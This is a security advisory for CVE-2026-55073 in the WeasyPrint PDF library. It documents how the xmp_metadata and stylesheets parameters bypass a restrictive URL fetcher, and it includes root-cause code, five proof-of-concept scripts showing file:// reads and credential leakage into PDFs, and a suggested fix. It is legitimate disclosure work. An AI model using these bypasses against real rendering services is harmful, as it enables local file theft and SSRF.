PT-2026-89206 · Pypi · Weasyprint

CVE-2026-55073

·

Published

2026-09-09

·

Updated

2026-09-10

CVSS v3.1

6.2

Medium

VectorAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

url fetcher is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block file://, internal hosts, etc. when rendering untrusted input.
Two write pdf() channels ignore the document's url fetcher and build a fresh default URLFetcher() instead. A restrictive fetcher set on HTML() is silently bypassed for:
  • xmp metadata=[url] - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an arbitrary local file read when the path is attacker-influenced.
  • stylesheets=[url or path] - the sheet is fetched and applied. This is SSRF / arbitrary local-or-internal resource loading, and it is transitive: the permissive fetcher propagates through the whole @import / url() graph.
Applications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive url fetcher to block file:// or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.

Affected versions

All versions through current main - v69.0, commit 2945986160dedd97a7547be03805b667964e422a.

Root cause

select source() defaults to a fresh fetcher when none is passed (weasyprint/urls.py):
python
def select source(guess=None, filename=None, url=None, ..., url fetcher=None, ...):
  ...
  if url fetcher is None:
    url fetcher = URLFetcher()
Five of the seven resource-loading sites thread the document's fetcher correctly:
  • <link rel=stylesheet> in weasyprint/css/ init .py
  • <style> in weasyprint/css/ init .py
  • @import in weasyprint/css/ init .py
  • @font-face / local() in weasyprint/text/fonts.py
  • @color-profile src in weasyprint/css/ init .py
  • images (<img>, CSS url(), SVG) in weasyprint/images.py
Two do not — they build a fresh default fetcher instead:
  • write pdf(xmp metadata=[...]) in weasyprint/pdf/ init .py
  • write pdf(stylesheets=[str]) in weasyprint/document.py
xmp metadata - pdf/ init .py calls select source(url) with no url fetcher, so the default fetcher runs regardless of what the caller configured:
python
if options['xmp metadata']:
  for url in options['xmp metadata']:
    result = select source(url)     # no url fetcher
stylesheets - document.py builds each sheet without passing url fetcher, and CSS. init then defaults to a fresh URLFetcher():
python
for css in options['stylesheets'] or []:
  if not hasattr(css, 'matcher'):
    css = CSS(              # no url fetcher=html.url fetcher
      guess=css, media type=html.media type,
      font config=font config, counter style=counter style,
      color profiles=color profiles)
Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp metadata= reads a file:// the fetcher blocks

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY XMP LEAK 7f3a9c')
pdf = HTML(string='<p>hi</p>', url fetcher=Block()).write pdf(
  xmp metadata=['file://' + path], pdf variant='pdf/a-3b', uncompressed pdf=True)
print('secret file leaked into PDF:', b'CANARY XMP LEAK 7f3a9c' in pdf)
# -> True
(pdf variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True

# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
      url fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp metadata= discloses a credentials file in full

python
import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

creds = {'db name': 'CANARY DB NAME', 'db password': 'CANARY PASSWORD a3f7e9c2',
     'encryption key': 'CANARY ENC KEY b8d4f6a1', 'secret key': 'CANARY SECRET KEY c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url fetcher=Block()).write pdf(
  xmp metadata=['file://' + path], pdf variant='pdf/a-3b', uncompressed pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True
An attacker who controls the xmp metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.
python
import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
  def fetch(self, url, headers=None):
    if url.lower().startswith('file:'):
      raise ValueError('blocked ' + url)
    return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY SECRET e2a8c5d4 */
@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write pdf(stylesheets=['file://' + path], uncompressed pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))  # -> True
print('comment leaked verbatim:', b'CANARY SECRET e2a8c5d4' in pdf)         # -> False

Suggested fix

Route both call sites through the document's url fetcher, matching the five sites that already do this.
  • pdf/ init .py - select source(url, url fetcher=self.url fetcher). (Alternatively, restrict xmp metadata to byte strings so no URL fetching occurs.)
  • document.py - CSS(guess=css, ..., url fetcher=html.url fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-55073
GHSA-JF6Q-CHMF-3H3V
PYSEC-2026-3940

Affected Products

Weasyprint